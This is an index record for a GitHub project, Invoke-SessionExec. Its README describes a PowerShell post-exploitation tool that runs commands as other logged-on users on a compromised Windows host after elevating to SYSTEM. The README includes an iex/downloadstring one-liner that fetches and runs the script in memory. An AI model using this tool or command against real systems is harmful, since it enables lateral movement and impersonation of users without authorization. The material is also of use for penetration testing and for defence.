{"id":24532835,"url":"https://github.com/the-viper-one/invoke-sessionexec","last_synced_at":"2025-04-14T20:32:17.627Z","repository":{"id":249997209,"uuid":"832816227","full_name":"The-Viper-One/Invoke-SessionExec","owner":"The-Viper-One","description":"Execute commands in context of a user logon session","archived":false,"fork":false,"pushed_at":"2024-08-07T07:28:52.000Z","size":18,"stargazers_count":4,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-28T08:51:10.798Z","etag":null,"topics":["lateral","pentest","powershell","sessionexec"],"latest_commit_sha":null,"homepage":"","language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/The-Viper-One.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-07-23T19:27:44.000Z","updated_at":"2024-08-07T07:28:55.000Z","dependencies_parsed_at":"2024-07-24T16:51:53.839Z","dependency_job_id":null,"html_url":"https://github.com/The-Viper-One/Invoke-SessionExec","commit_stats":null,"previous_names":["the-viper-one/invoke-sessionexec"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/The-Viper-One%2FInvoke-SessionExec","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/The-Viper-One%2FInvoke-SessionExec/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/The-Viper-One%2FInvoke-SessionExec/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/The-Viper-One%2FInvoke-SessionExec/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/The-Viper-One","download_url":"https://codeload.github.com/The-Viper-One/Invoke-SessionExec/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248955856,"owners_count":21189242,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["lateral","pentest","powershell","sessionexec"],"created_at":"2025-01-22T10:18:31.944Z","updated_at":"2025-04-14T20:32:17.606Z","avatar_url":"https://github.com/The-Viper-One.png","language":"PowerShell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Invoke-SessionExec\n\nInvoke-SessionExec is a PowerShell port of Leo4j's SessionExec. https://github.com/Leo4j/SessionExec\n\nInvoke-SessionExec allows you to execute commands in the context of others users from their logon sessions.\n\nFor example running as the user \"truth\" on a compromised host we can see logon sessions for the users administrator and arbiter.\n\n```\nC:\\Users\\truth\u003equser\n USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME\n\u003etruth                 console             1  Active      none   23/07/2024 19:43\n administrator                             2  Disc        20:53  23/07/2024 18:02\n arbiter                                   3  Disc        20:52  23/07/2024 18:03\n```\n\nAfter elevating to SYSTEM and executing Invoke-SessionExec with  ```Invoke-SessionExec -SessionID All -Command \"whoami\"```  we get the following command output from each users with a logon session on the system:\n\n```\n[+] Invoke Command as truth under Session ID:1\nsecurity\\truth\n\n[+] Invoke Command as administrator under Session ID:2\nsecurity\\administrator\n\n[+] Invoke Command as arbiter under Session ID:3\nsecurity\\arbiter\n```\n\n# Load into memory\n\n```\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/The-Viper-One/Invoke-SessionExec/main/Invoke-SessionExec.ps1')\n```\n\n# Usage\n```powershell\n# Execute as user in Session 1\nInvoke-SessionExec -SessionID 1 -Command \"whomai /all\"\n\n# Execute as all users with logon sessions\nInvoke-SessionExec -SessionID All -Command \"whoami /all\"\n```\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fthe-viper-one%2Finvoke-sessionexec","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fthe-viper-one%2Finvoke-sessionexec","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fthe-viper-one%2Finvoke-sessionexec/lists"}